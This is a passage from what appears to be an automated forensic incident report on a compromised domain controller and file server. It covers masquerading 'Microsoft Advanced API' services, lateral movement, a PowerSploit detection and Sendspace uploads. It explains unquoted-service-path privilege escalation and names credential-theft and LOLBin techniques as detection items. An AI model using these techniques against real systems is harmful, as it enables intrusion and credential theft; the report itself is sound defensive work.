  • Evidence: Row 39 (\\SHIELDBASE.LAN\SYSVOL\shieldbase.lan\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Scripts\Startup, target mtime 2018-05-14T02:58:16.801813+00:00); Row 42 (\{FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7}\Machine\Scripts\Startup, target mtime 2018-05-14T03:08:55.521141+00:00).
  • Why it matters: GPO startup scripts are a common AD persistence mechanism; Explorer access to these SYSVOL paths on the DC may indicate inspection, deployment, or modification of malicious scripts.
  • Alternative explanation: Routine Group Policy administration or legitimate script updates.
  • Verify: Extract and hash the scripts in these exact SYSVOL paths; review Directory Service event logs for GPO modification events around 2018-05-14.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User rsydow-a accessed an archived Security event log via Quick Access.
  • Evidence: Row 6 (C:\Windows\System32\winevt\Logs\Archive-Security-2018-08-08-08-57-05-737.evtx, username rsydow-a, lnk_mtime 2018-08-08T23:55:58.953497+00:00).
  • Why it matters: A non-system account accessing archived security logs may indicate log review to identify detection gaps, cover tracks, or gather operational intelligence.
  • Alternative explanation: IT staff performing routine log review, disk cleanup, or incident response.
  • Verify: Confirm rsydow-a group membership and privileges; check Object Access/EVTX events for file access on 2018-08-08; correlate with other log clearing or export activity.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] User rsydow-a repeatedly accessed the remote administrative share \\BASE-FILE\SRL-ADMIN$ from the Domain Controller.
  • Evidence: Rows 2, 16, 18–26, and 28 (lnk_net_name \\BASE-FILE\SRL-ADMIN$, username rsydow-a), accessing paths such as Proxy\Asgard CA Cert and AD\Google\policy_templates via Windows Explorer and Quick Access.
  • Why it matters: Repeated access to a remote hidden administrative share from the DC can reflect lateral movement, remote tool staging, or data collection between hosts.
  • Alternative explanation: Legitimate use of a dedicated IT software or policy distribution share.
  • Verify: Correlate with SMB session/login events on BASE-FILE; review rsydow-a privilege level and group membership; inspect the accessed remote directories for unauthorized content.

Data Gaps

  • No evidence of privilege escalation exploits, Mimikatz-like tooling, or command-line execution appears in Jump Lists; this artifact only captures Windows Explorer and Notepad file/folder access, so malicious execution cannot be confirmed or ruled out here.
  • Ten entries show 1601-01-01T00:00:00+00:00 target MAC times, indicating the target files were inaccessible, deleted, or resided on offline volumes, preventing full timeline reconstruction for those items.
  • Jump Lists cannot distinguish read-only browsing from file modification or script deployment; the SYSVOL and .txt access may have been purely viewing activity.
  • Coverage is limited to two user profiles (Administrator and rsydow-a); absence of Jump Lists for other accounts or time windows may indicate user profile deletion, Jump List clearing, or simply lack of activity, but this cannot be assessed without examining the full disk image.
  • Definitive assessment requires cross-referencing with Security Event Logs, SMB session logs on BASE-FILE, Prefetch/Amcache for execution evidence, MFT/USN for file content, and Group Policy change events.
Custom Jump Lists (jumplist.custom_destination) LOW
Record Count 3
Time Range Start 2018-06-01T19:32:36.091639
Time Range End 2018-08-16T22:10:54.464914

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Administrator account recorded Internet Explorer launched with the -private argument in Custom Jump Lists on the Domain Controller.
  • Evidence: row_ref 4, username Administrator, lnk_arguments -private, lnk_mtime 2018-06-01T19:32:36.091639+00:00, local_base_path C:\Program Files\Internet Explorer\iexplore.exe, lnk_path C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\28c8b86deab549a1.customDestination....
  • Why it matters: Private browsing mode can be used as a simple defense-evasion technique to avoid retaining history, cache, or credentials during unauthorized browsing, tool research, or web-based command-and-control activity.
  • Alternative explanation: Administrator may have legitimately used InPrivate Browsing to test a web application or avoid caching session data on the server.
  • Verify: Examine Windows Event IDs 4624/4634 for Administrator interactive logons around 2018-06-01; retrieve and parse IE history/cache (including recovery data); and check perimeter/proxy logs for outbound connections from the DC.
  • [SEVERITY: LOW] [CONFIDENCE: LOW] User rsydow-a showed clustered Custom Jump List activity for PowerShell and PowerShell ISE on 2018-08-16, the most recent timestamps in the dataset.
  • Evidence: row_ref 1, username rsydow-a, application_name Powershell Windows 10, lnk_full_path C:\Users\rsydow-a\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk, lnk_mtime/lnk_atime 2018-08-16T22:10:54.464914+00:00, target_mtime 2018-08-16T17:17:08.869354+00:00; row_ref 2, same user and CustomDestinations container (590aee7bdd69b59b.customDestinations-ms), lnk_full_path C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe.
  • Why it matters: The same-day update of both the PowerShell shortcut target and the CustomDestinations container suggests active PowerShell usage on the DC by this account; PowerShell is a common dual-use tool for reconnaissance, credential access, and lateral movement.
  • Alternative explanation: rsydow-a may be a legitimate administrator performing authorized scripting or DC management tasks.
  • Verify: Validate rsydow-a account privileges and typical role; correlate with Windows Security Event ID 4688, PowerShell operational/Script Block logs, and SRUM/Prefetch entries for powershell.exe and powershell_ise.exe on 2018-08-16.

Data Gaps

  • Sparse dataset: only 3 unique Jump List records after deduplication (3 timestamp-only duplicates removed), leaving very limited visibility into user/application activity across the full time range.
  • Missing AutomaticDestinations counterpart: without the AutomaticDestinations-ms DestList MRU/MFU metadata, we cannot establish recency, frequency, or execution order of these applications.
  • Empty argument fields for PowerShell entries: lnk_arguments is blank for both PowerShell records, so we cannot determine whether encoded commands, scripts, or malicious parameters were used.
  • No network path indicators: lnk_net_name, lnk_device_name, and lnk_workdir are empty for all records, preventing identification of UNC paths, administrative shares, or mapped drives that would indicate lateral movement or remote staging.
  • Unknown incident window: without a defined compromise timeframe, the 2018-08-16 and 2018-06-01 timestamps cannot be confidently correlated with attacker activity versus benign administration.
  • Absence of expected artifacts: no Custom Jump List entries for common remote-access tools, LOLBins (e.g., certutil, mshta, wscript), or Temp/AppData paths were observed; however, this may reflect artifact limits rather than a true negative.
  • Deduplication removed temporal variants: the deduplication process discarded records with differing timestamps/IDs for row_refs 2 and 4, potentially obscuring additional access instances or time clusters that would aid timeline analysis.
Shellbags (shellbags) HIGH
Record Count 108
Time Range Start 2016-07-16T13:23:24
Time Range End 2018-09-07T20:23:29.138742

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Administrator account browsed Group Policy Machine\Scripts\Startup folders in SYSVOL under a non-default GPO, indicating potential domain-wide persistence via GPO startup scripts.
  • Evidence: Row 38 (Network\<USERS_PROPERTY_VIEW {999534523}>\shieldbase.lan\sysvol\shieldbase.lan\Policies\{FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7}\Machine\Scripts\Startup, ts_mtime 2018-05-14T03:06:28+00:00, username Administrator); Row 106 (My Computer\C:\Windows\SYSVOL\sysvol\shieldbase.lan\Policies\{FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7}\Machine\Scripts\Startup, ts_mtime 2018-05-14T03:08:56+00:00, username Administrator). Also Row 34 (Network\...\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Scripts\Startup, ts_mtime 2018-04-26T01:48:26+00:00, username Administrator).
  • Why it matters: Attackers frequently abuse GPO startup/logon scripts for persistent, domain-wide code execution, and direct browsing of these paths often precedes script placement or modification.
  • Alternative explanation: Legitimate Group Policy administration or authorized script deployment.
  • Verify: Inspect the \\shieldbase.lan\SYSVOL\...\{FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7}\Machine\Scripts\Startup directory for unauthorized scripts and review Group Policy change history / AD replication metadata.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] User rsydow-a browsed hidden administrative shares on remote hosts (base-file and base-wkstn-05), including the remote Windows\Prefetch directory, consistent with lateral movement and reconnaissance.
  • Evidence: Row 21 (Network\<USERS_PROPERTY_VIEW {999534523}>\base-wkstn-05\c$, username rsydow-a); Row 22 (...base-wkstn-05\c$\Windows, ts_mtime 2018-08-07T18:16:00+00:00); Row 23 (...base-wkstn-05\c$\Windows\Prefetch, ts_mtime 2018-08-08T13:48:14+00:00). Row 3 (Network\<USERS_PROPERTY_VIEW {999534523}>\base-file\srl-admin$, username rsydow-a); Row 4 (...base-file\srl-admin$\Proxy, ts_mtime 2018-07-05T22:24:54+00:00).
  • Why it matters: Direct Explorer access to remote C$ and hidden $ shares, followed by drilling into remote Prefetch, is a hallmark of attacker lateral movement and host reconnaissance.
  • Alternative explanation: Authorized system administration or remote desktop support activity.
  • Verify: Pull Security Event Logs (4624/4648/4672) and SMB logs from base-file and base-wkstn-05 for rsydow-a logons around 2018-07-05 and 2018-08-07/08; inspect the remote Prefetch and Proxy directories for attacker tooling.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] User rsydow-a browsed the local SAM/SECURITY hive directory (C:\Windows\System32\config) on the Domain Controller.
  • Evidence: Row 50 (My Computer\C:\Windows\System32\config, ts_mtime 2018-06-04T20:43:58+00:00, username rsydow-a).
  • Why it matters: System32\config contains the SAM, SECURITY, and SYSTEM hives; Explorer access to this sensitive path may precede credential dumping, shadow-copy abuse, or attempts to extract password hashes.
  • Alternative explanation: Legitimate administrative work, backup verification, or security software inspection.
  • Verify: Correlate with MFT/USN records for the config directory, check Volume Shadow Copy access, and look for corresponding Event IDs 4661/4663 or suspicious processes reading SAM/SECURITY.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] rsydow-a accessed an unusually named certificate directory (Asgard CA Cert) inside a hidden administrative share on base-file.
  • Evidence: Row 5 (Network\<USERS_PROPERTY_VIEW {999534523}>\base-file\srl-admin$\Proxy\Asgard CA Cert, ts_mtime 2018-07-05T22:24:54+00:00, username rsydow-a).
  • Why it matters: Non-standard certificate directory names inside hidden admin shares can indicate staging of forged certificates, credential harvesting outputs, or attacker tools masquerading as legitimate PKI material.
  • Alternative explanation: Custom internal certificate deployment or an administrative naming convention.
  • Verify: List the contents of \\base-file\srl-admin$\Proxy and inspect file creation times, certificate legitimacy, and whether the directory exists in known-good baselines.

Data Gaps

  • No ts_atime or ts_btime values are present; only folder ts_mtime is available, which reflects the folder’s modification time at the time of shellbag creation—not the exact moment of user access—limiting precise timeline correlation.
  • Shellbags capture folder-level browsing only; individual files touched or executed within these directories are not recorded here.
  • This artifact does not reveal whether any scripts were actually written to the GPO Startup folders, nor whether the remote share access involved file transfers, deletion, or execution.
  • Absence of shellbag records for common staging locations (e.g., \Temp, \Users\Public, \ProgramData) does not rule out their use; shellbags are limited to Explorer-based folder views.
  • Corroborating artifacts needed: Windows Security event logs (4624, 4648, 4672, 4663), SMB server audit logs from base-file and base-wkstn-05, Group Policy object version metadata, MFT/USN records for SYSVOL and the remote shares, and contents of the Startup and Proxy directories.
SAM Users (sam) UNSPECIFIED
Record Count 3
Time Range Start 2018-04-25T20:14:09.720470
Time Range End 2018-04-25T20:14:09.720470

Nothing suspicious was detected in the SAM Users artifact; the only accounts present are the default built-in Administrator, Guest, and DefaultAccount records (rows 1–3), with no unauthorized local account creation, re-enabled accounts, or anomalous password changes evident.

Data Gaps

  • Domain Controller scope limitation: This artifact only contains the three local SAM accounts (RID 500, 501, 503). On a Domain Controller, domain user and computer objects reside in NTDS.dit, not SAM. Therefore, compromise indicators such as unauthorized domain account creation, Domain Admin modifications, or domain credential access cannot be assessed from this artifact.
  • Missing group membership data: The artifact does not include group membership fields, so privilege escalation via local group modification (e.g., adding accounts to the local Administrators group) cannot be verified here.
  • Ambiguous and null temporal fields: All three records share the identical timestamp 2018-04-25T20:14:09.720470+00:00 (rows 1–3), which likely reflects a collection or hive-level timestamp rather than per-account creation or modification times. Additionally, lastlogin, lastpasswordset, and lastincorrectlogin are all 1601-01-01T00:00:00+00:00 (rows 1–3), preventing any determination of recent account activity or password changes.
  • Missing event correlation: Corresponding Windows Security EVTX events (IDs 4720, 4722, 4724, 4732) are not included in this artifact, so account state changes cannot be validated against the event log.
Defender Quarantine (defender.quarantine) HIGH
Record Count 2
Time Range Start 2018-08-31T22:18:58.898937
Time Range End 2018-08-31T22:20:20.654219

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Repeated Defender quarantine of a PowerSploit trojan in the spsql user profile on the Domain Controller within a two-minute window, indicating a likely reinfection or persistence cycle.
  • Evidence: detection_name is Trojan:PowerShell/Powersploit.O and detection_path is C:\Users\spsql\n.ps1 in both Row 1 (ts 2018-08-31T22:20:20.654219+00:00) and Row 2 (ts 2018-08-31T22:18:58.898937+00:00). Both rows share the same resource_id (B75CD675E081064BB6713A34D76AB15557448BDE) and identical last_write_time (2018-08-31T22:17:31.236273+00:00), but have distinct quarantine_id, scan_id, and creation_time values (Row 1 creation_time 2018-08-31T22:19:47.907230+00:00; Row 2 creation_time 2018-08-31T22:18:14.805019+00:00).
  • Why it matters: PowerSploit is a widely abused offensive PowerShell framework used for credential access, privilege escalation, and lateral movement; sequential detections of the same file after removal strongly suggest an active mechanism recreating the payload or manual attacker re-deployment on the most sensitive host in the environment.
  • Alternative explanation: A legitimate red-team exercise or authorized security tool deployment triggered multiple scan passes on the same file without actual reinfection.
  • Verify: Review Microsoft-Windows-Windows Defender/Operational EVTX for quarantine action outcomes (success vs. restore) between 2018-08-31T22:17:00Z and 2018-08-31T22:21:00Z, and correlate with PowerShell script-block logging and Sysmon ProcessCreate to determine if n.ps1 executed and identify the parent process.

Data Gaps

  • Execution status unknown: This artifact does not indicate whether n.ps1 successfully ran before being quarantined; PowerShell operational logs, Sysmon, or Prefetch are required.
  • No launch context: Parent process, command line, and user session context for the script are absent; Sysmon Event ID 1 or Windows Security EVTX logon events are needed.
  • Remediation outcome unclear: Whether Defender permanently removed the file or it was restored from quarantine between detections cannot be determined without Defender Operational EVTX.
  • Account legitimacy unverified: The privilege level and expected activity of the spsql account are not assessable from quarantine metadata alone; SAM/registry and authentication logs are required.
  • Narrow temporal window: Only a ~1.5-minute period is covered. Absence of additional quarantine records does not rule out earlier or later malware deployments, nor does it exclude threats that evaded Defender entirely.
Network History (network_history) UNSPECIFIED
Record Count 3
Time Range Start 2018-04-20T16:52:16.000676
Time Range End 2018-04-25T23:24:30.000811

Nothing suspicious was detected in this artifact.

Data Gaps

  • Assessability of compromise indicators: Network profile history alone cannot reveal credential access, malicious execution, lateral movement, or exfiltration. Correlation with Event ID 4624/4648 logon events, SRUM, DHCP/DNS/VPN/firewall logs, and proxy records is required to determine if these network connections were attacker-driven.
  • Anomalous timestamp in row 3: The last_connected value (2018-04-20T10:55:43-04:00) predates the created value (2018-04-20T12:52:16-04:00) for the “Network” profile (row_ref 3). This may indicate a forensic parsing error, registry inconsistency, or timestamp tampering; its significance cannot be determined from this artifact alone.
  • Deduplication opacity: Three rows were removed as timestamp/ID-only duplicates. The content of those removed records is unavailable, so it is impossible to assess whether additional network profiles (e.g., short-lived or rogue connections) were excluded.
  • No user or process attribution: These profiles do not identify which user or process initiated the connection, nor do they prove active traffic was generated during the recorded intervals.
  • Temporal scope: No incident timeframe is established in the investigation context, so proximity of the April–September 2018 network activity to a suspected compromise cannot be evaluated.
  • Absence of expected diversity: A production Domain Controller exhibits only three network profiles over five months, with two profiles (shieldbase.lan and Network 2) sharing the same default_gateway_mac (a2c6c7000702) but different signatures. While consistent with a network reassignment or promotion event, the lack of additional contextual artifacts prevents confirmation of benign origin.
base-file-cdrive

Image Summary

Executive Summary

System BASE-FILE is compromised with HIGH confidence. The host contains confirmed malicious persistence via two auto-start services masquerading as Microsoft components (“Microsoft Advanced API 32/64”) that run as LocalSystem from non-standard paths (Services rows 146–147; Amcache rows 369, 384, 805, 1218). Following their installation in May 2018, the accounts rsydow-a and spsql engaged in extensive lateral movement, remote reconnaissance, credential-store browsing, and data exfiltration between August and September 2018. The spsql account—likely a service account—executed suspicious binaries, opened RDP sessions to internal hosts, browsed administrative shares on at least four remote systems, and uploaded files to the public file-sharing site Sendspace (Browser History rows 20–38; Jump Lists row 15; Shellbags rows 14–34). The presence of an attacker staging directory named install_wormhole, bundled with Nmap/WinPcap and AMQP libraries, reinforces that this is an active intrusion. Severity: CRITICAL.

---

Timeline

Timestamp (UTC)Source ArtifactWhat HappenedConfidence
2018-02-26 22:47:32Shimcache (rows 137, 142)WinPcap/Nmap executables placed inside masquerading Microsoft Advanced API 32/64 directories.MEDIUM
2018-03-02 20:42–20:43Shimcache (rows 60, 61)Masquerading binaries msadvapi2_64.exe and msadvapi2_32.exe modified in C:\Program Files (x86).HIGH
2018-04-25 21:40–21:41Recycle Bin (rows 4–21)Built-in Administrator bulk-deleted Puppet SSL private keys and certificates.MEDIUM
2018-05-04 13:58 – 2018-05-08 14:47Browser Downloads (rows 3–5); Browser History (rows 39–45)Domain admin administrator.shieldbase downloaded McAfee-themed ZIP archives from 10.10.10.10 via non-descriptive hex paths to file-server shares.MEDIUM
2018-05-08 21:06Services (rows 146, 147); Shimcache (rows 141, 144)Malicious services “Microsoft Advanced API 32/64” configured as Auto Start LocalSystem; staging installers modified in C:\ProgramData\staging\install_wormhole\.HIGH
2018-08-08 16:01Shellbags (row 94)rsydow-a browsed C:\vss39 and its subdirectories, possibly a mounted shadow-copy snapshot.MEDIUM
2018-08-08 16:15Jump Lists (rows 9, 14)rsydow-a mapped a drive to \\dmz-ftp\srl-ftp and opened rsydow-test.txt.HIGH
2018-08-10 04:58Shellbags (row 102)rsydow-a browsed C:\Windows\System32\config, which stores SAM/SECURITY/SYSTEM hives.HIGH
2018-08-11 04:15Jump Lists (row 8)rsydow-a initiated an RDP session to dmz-ftp from the file server.HIGH
2018-08-15 17:17Shellbags (rows 15, 31)spsql browsed administrative C$ shares on 172.16.4.4 and 172.16.7.12.HIGH
2018-08-31 19:47Shellbags (row 25)spsql browsed 172.16.4.6\c$\Windows.HIGH
2018-08-31 21:11–21:12UserAssist (rows 39, 40, 48, 49); Jump Lists (row 15)spsql launched Remote Desktop Connection, PowerShell (3 executions, ~33 min focus), and RDP to 172.16.7.11.HIGH
2018-09-05 14:08UserAssist (row 42)spsql executed ri.exe from C:\Windows\Temp\perfmon\.HIGH
2018-09-05 14:28–14:44Shellbags (rows 27, 28)spsql browsed 172.16.4.6\c$\Windows\Temp and …\Temp\perfmon.HIGH
2018-09-05 15:01–15:02Browser History (rows 20, 28)spsql uploaded files to Sendspace via Internet Explorer.HIGH
2018-09-05 18:27UserAssist (rows 43, 50)spsql launched Command Prompt (3 executions, ~31 min focus).HIGH
2018-09-06 07:27Shellbags (row 103)rsydow-a browsed C:\Windows\System32\config\RegBack.HIGH
2018-09-06 15:01Shellbags (row 34)spsql browsed 172.16.6.11\c$\Windows.HIGH
2018-09-06 15:54UserAssist (row 45)spsql launched MMC.HIGH

---

IOC Status

No specific IOCs were provided in the investigation context.

---

Attack Narrative

  • Persistence — CONFIRMED. Around May 8, 2018, two services named “Microsoft Advanced API 32” and “Microsoft Advanced API 64” were installed. They are configured to auto-start as LocalSystem from non-standard, user-writable directories under C:\Program Files (x86) and use unquoted image paths (Services rows 146–147). The associated binaries were staged from C:\ProgramData\staging\install_wormhole\ (Shimcache rows 141, 144; Amcache rows 365, 376, 604), and Amcache records show they carry a fake publisher name, “Microsoft Advanced API” (Amcache rows 805, 1218).
  • Privilege Escalation — CONFIRMED (service-level); INFERRED (unquoted path abuse). The services already run as LocalSystem. Their unquoted image paths create a known privilege-escalation vector that could allow a low-privilege user to plant an executable at a space-delimited boundary (e.g., C:\Program.exe) and have it executed as SYSTEM (Services rows 146–147).
  • Lateral Movement — CONFIRMED. In August–September 2018, both rsydow-a and spsql used the file server to move laterally. rsydow-a opened an RDP session to dmz-ftp (Jump Lists row 8) and previously mapped a drive to a DMZ share (Jump Lists rows 9, 14). spsql initiated RDP to 172.16.7.11 (Jump Lists row 15) and browsed remote administrative C$ shares on at least four distinct hosts (172.16.4.4, 172.16.4.6, 172.16.7.12, 172.16.6.11) via Windows Explorer (Shellbags rows 14–34).
  • Credential Access — SUSPECTED. rsydow-a browsed C:\Windows\System32\config and its RegBack subdirectory (Shellbags rows 102–103), locations that contain the SAM, SECURITY, and SYSTEM hives. Earlier, on April 25, 2018, the built-in Administrator bulk-deleted Puppet SSL private keys and CA certificates (Recycle Bin rows 4–21), which may reflect cleanup after credential theft or an attempt to disable Puppet-managed controls.
  • Collection / Staging — CONFIRMED. The install_wormhole staging directory contained the masquerading service installers, a command-line 7-zip utility (7za.exe), Nmap/WinPcap, and an AMQP client library (Amcache rows 363–376, 604; Shimcache rows 137, 142). spsql executed an unknown binary, ri.exe, from a Temp\perfmon subdirectory (UserAssist row 42) and browsed remote Windows\Temp folders (Shellbags rows 27–28).
  • Exfiltration — CONFIRMED. On September 5, 2018, spsql used Internet Explorer to perform multiple file uploads to Sendspace (Browser History rows 20–38). Bulk upload activity by a service account to a public file-sharing site is strongly indicative of data exfiltration.
  • Initial Access — UNKNOWN. No artifact identifies how the attacker first gained access to BASE-FILE (e.g., no phishing attachments, exploit payloads, or external-facing logon events are present in the provided data).

---

Gaps and Unknowns

  1. No Windows Security/System EVTX. Without Event IDs 4624/4628/4648/7045, we cannot confirm the source IP, logon type, or installing session for the malicious services and RDP connections. This is the single largest gap preventing full scoping.
  2. Eight-year dark period. The latest artifact evidence is from September 6, 2018; the analysis date is June 13, 2026. There is zero visibility into whether the host was rebuilt, re-compromised, or cleaned in the intervening years.
  3. Ambiguous kernel driver. The mnemosyne driver (\??\C:\windows\Mnemosyne.sys, Services row 150) was installed 0.375 seconds after the F-Response forensic agent. It may be a legitimate forensic acquisition driver or an attacker rootkit; authorization records are needed.
  4. No command-line visibility. UserAssist and Jump Lists confirm that PowerShell and cmd were opened by spsql, but the actual commands executed are not captured (Custom Jump Lists rows 4, 5, 10, 11, 16, 17).
  5. Anti-forensic indicators. The Run/RunOnce keys are unusually sparse (only 2 HKLM entries), which may reflect collection limitations or deliberate cleanup. The bulk deletion of Puppet keys and the deletion of C:\vss39 (Recycle Bin row 3) also suggest targeted cleanup.
  6. Unverified binary execution. Shimcache and Amcache confirm disk presence of the masquerading toolkit, but only UserAssist (ri.exe) and service configuration confirm execution; Prefetch and process-creation telemetry are missing for the remainder.
  7. SAM anomalies noted but unconfirmed. Simultaneous password resets on August 19, 2018 for Administrator, range_admin, and simspaceadmin were observed in SAM metadata, but the per-artifact assessment did not flag them as definitively suspicious.

---

Recommended Next Steps

  1. Immediate Containment — Isolate BASE-FILE from the network. If the masquerading services still exist, disable “Microsoft Advanced API 32” and “Microsoft Advanced API 64” immediately. Suspend/interactively logon-disable the spsql and rsydow-a accounts until their legitimacy is validated. (Ties to confirmed persistence and lateral movement.)
  2. Scope Lateral Movement — Collect Windows Security Event Logs (Event IDs 4624, 4634, 4648, 5140) from BASE-FILE and the remote hosts touched (172.16.4.4, 172.16.4.6, 172.16.6.11, 172.16.7.11/12) for August–September 2018. Identify source IPs and session durations for spsql and rsydow-a. (Ties to gap #1.)
  3. Validate Malicious Binaries — Acquire current file-system hashes for msadvapi2_32.exe, msadvapi2_64.exe, and ri.exe. Compare against the Amcache SHA-1 values (0598c609…, 6f2cf694…, 39414f02…, 90491113…, f18a9425…, 6935db82…). Submit to threat intelligence and sandbox analysis. (Ties to persistence and execution.)
  4. Investigate Exfiltration — Recover IE Temporary Internet Files / WebCache for the spsql profile around 2018-09-05 15:00 UTC. Review proxy, firewall, and DNS logs for *.sendspace.com to determine upload volume and whether the transfers completed. (Ties to confirmed exfiltration.)
  5. Audit Credential Exposure — Inspect C:\Windows\System32\config\RegBack, VSS snapshots, and any existing C:\vss39 remnants for unauthorized copies of SAM/SECURITY/SYSTEM. Rotate passwords for spsql, rsydow-a, and any accounts that authenticated to the remotely touched hosts during the incident window. (Ties to credential-access suspicion.)
  6. Confirm Forensic Artifacts — Verify with the hunt team whether F-Response and the mnemosyne driver were authorized on BASE-FILE at 2018-09-06 19:25 UTC. If unauthorized, treat the driver as a potential rootkit and perform kernel-level forensics. (Ties to gap #3.)
  7. Rebuild Timeline with File-System Forensics — Acquire MFT, USN Journal, and Prefetch for the May and August–September 2018 windows to confirm exact execution times, identify deleted intermediate files, and fill the eight-year coverage gap where possible. (Ties to gaps #2 and #6.)

Per-Artifact Findings

Run/RunOnce Keys (runkeys) UNSPECIFIED
Record Count 2
Time Range Start 2018-01-12T14:55:22.962978
Time Range End 2018-05-08T21:54:40.072128

Nothing suspicious was detected in the Run/RunOnce keys data.

Data Gaps

  • Only 2 unique HKLM entries are present for a production Windows file server, which is unusually sparse; typical systems contain more startup items including HKCU entries, administrative tools, and additional software updaters. This limits confidence in ruling out persistence via this vector.
  • No user-specific (HKCU) Run or RunOnce entries were captured, despite this being a domain-joined host where users log on; this prevents assessment of user-level persistence commonly used during lateral movement.
  • Absent registry scopes include HKLM\...\RunOnce, HKCU\...\Run, HKCU\...\RunOnce, RunOnceEx, and Wow6432Node user hives, leaving significant coverage gaps for autorun-based malware.
  • The username field is empty for both records, so attribution of any entry to a specific user account is impossible.
  • Deduplication removed 2 additional rows, leaving only two temporal snapshots across a ~4-month window (2018-01-12 to 2018-05-08); short-lived malicious autorun entries added and removed between these points would not be visible.
  • This artifact provides no visibility into credential access (e.g., Mimikatz-like behavior), active process execution, lateral movement, or defense evasion; correlation with Windows Security Event Logs, Sysmon, Prefetch, AmCache, Scheduled Tasks, Services, and WMI Event Subscriptions is required to evaluate those DFIR domains.
  • No direct evidence of registry tampering or log clearing is present in the data; however, the extreme sparsity of entries may reflect collection or extraction limitations rather than a comprehensive system state.
Scheduled Tasks (tasks) MEDIUM
Record Count 200
Time Range Start 2005-06-23T21:48:00
Time Range End 2026-06-13T06:13:28.094337

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Custom Volume Shadow Copy task authored by domain user shieldbase\rsydow-a executes vssadmin.exe Create Shadow as SYSTEM with highest privileges.
  • Evidence: row_ref 1 (task_path C:\windows\system32\tasks\ShadowCopyVolume{a86deba3-48ca-11e8-80c7-806e6f6e6963}, author shieldbase\rsydow-a, user_id System, run_level HighestAvailable, logon_type InteractiveTokenOrPassword); row_ref 2 (command C:\windows\system32\vssadmin.exe, arguments Create Shadow /AutoRetry=15 /For=\\?\Volume{a86deba3-48ca-11e8-80c7-806e6f6e6963}\); row_ref 232 (task_path C:\windows\tasks\ShadowCopyVolume{a86deba3-48ca-11e8-80c7-806e6f6e6963}.job, author shieldbase\rsydow-a, last_run_date 2018-09-07T12:00:00.293000-04:00).
  • Why it matters: Attackers frequently abuse VSS to snapshot volumes prior to encryption or data theft; a user-authored task running as SYSTEM is atypical and warrants validation against authorized backup policies.
  • Alternative explanation: Administrator-enabled System Protection/Shadow Copies via system properties, which creates a task in the root Tasks folder under the configuring user’s identity.
  • Verify: Confirm with rsydow-a or backup administrators whether this task is authorized; inspect Task Scheduler operational event logs for recent modifications to the task XML or .job file and review VSS service execution history.
  • [SEVERITY: LOW] [CONFIDENCE: LOW] RSS feed synchronization task carries author identity from foreign hostname MININT-3D65O2B.
  • Evidence: row_ref 5 (task_path C:\windows\system32\tasks\User_Feed_Synchronization-{66731969-1528-42A5-863B-29E93DCF6E36}, author MININT-3D65O2B\Administrator, user_id MININT-3D65O2B\Administrator, enabled True, hidden True).
  • Why it matters: A task referencing a non-local hostname may indicate the task was imported from another system or the host was cloned from a template without proper sysprep cleanup, which could obscure attribution.
  • Alternative explanation: Host BASE-FILE was originally deployed via MDT/WDS under the temporary name MININT-3D65O2B and later renamed, leaving stale task metadata from the build account.
  • Verify: Inspect Windows setup/panther logs for the original computer name; determine if the task was inherited from a cloned image.

Data Gaps

  • Incident timeline correlation: Nearly all populated date fields predate 2013, and most tasks lack creation timestamps entirely; without a known incident window, recency of task-based persistence cannot be assessed. The only last_run_date present is from 2018.
  • Task execution history: This artifact contains task definitions only; run history and recent execution status are absent, so enabled or hidden tasks cannot be confirmed as active or dormant.
  • Structural fragmentation: The CSV splits task metadata and actions across multiple rows with empty task_name, run_as, and action fields, limiting direct correlation of principals to commands.
  • Binary integrity: Cannot verify whether invoked system binaries (e.g., vssadmin.exe, sc.exe) are authentic or hollowed from scheduled task definitions alone.
  • Coverage limits: No PowerShell, encoded commands, or non-standard executable paths were observed in scheduled tasks; however, absence here does not rule out WMI event subscriptions, registry-based persistence, or service-based execution.
Services (services) HIGH
Record Count 406
Time Range Start 2013-08-22T14:48:12.514145
Time Range End 2018-09-06T19:25:37.230253

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Two persistent auto-start services masquerading as Microsoft system components run as LocalSystem from non-standard paths under C:\Program Files (x86).
  • Evidence: row_ref 146, ts 2018-05-08T21:06:37.546101Z, name Microsoft Advanced API 32, imagepath C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe, description Enables extended system host api calls, objectname LocalSystem, start Auto Start (2); row_ref 147, ts 2018-05-08T21:06:24.311426Z, name Microsoft Advanced API 64, imagepath C:\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe, description Enables extended system host api calls, objectname LocalSystem, start Auto Start (2).
  • Why it matters: These are not legitimate Windows services; the names and descriptions mimic Microsoft components while the binaries reside in user-writable directories, indicating malicious persistence with highest privileges.
  • Alternative explanation: No known legitimate Microsoft software uses these service names or paths.
  • Verify: Collect hashes of both executables and review EVTX Event ID 7045 around 2018-05-08 to identify the installing user/session.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] The suspicious Microsoft Advanced API services are configured with unquoted image paths containing spaces, creating a privilege-escalation vector.
  • Evidence: row_ref 146, imagepath C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe; row_ref 147, imagepath C:\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe. Neither path is wrapped in double quotes.
  • Why it matters: Windows attempts to execute binaries at each space-delimited path boundary before the full path, allowing a low-privilege user to plant a malicious executable (e.g., C:\Program.exe) that will be launched as LocalSystem.
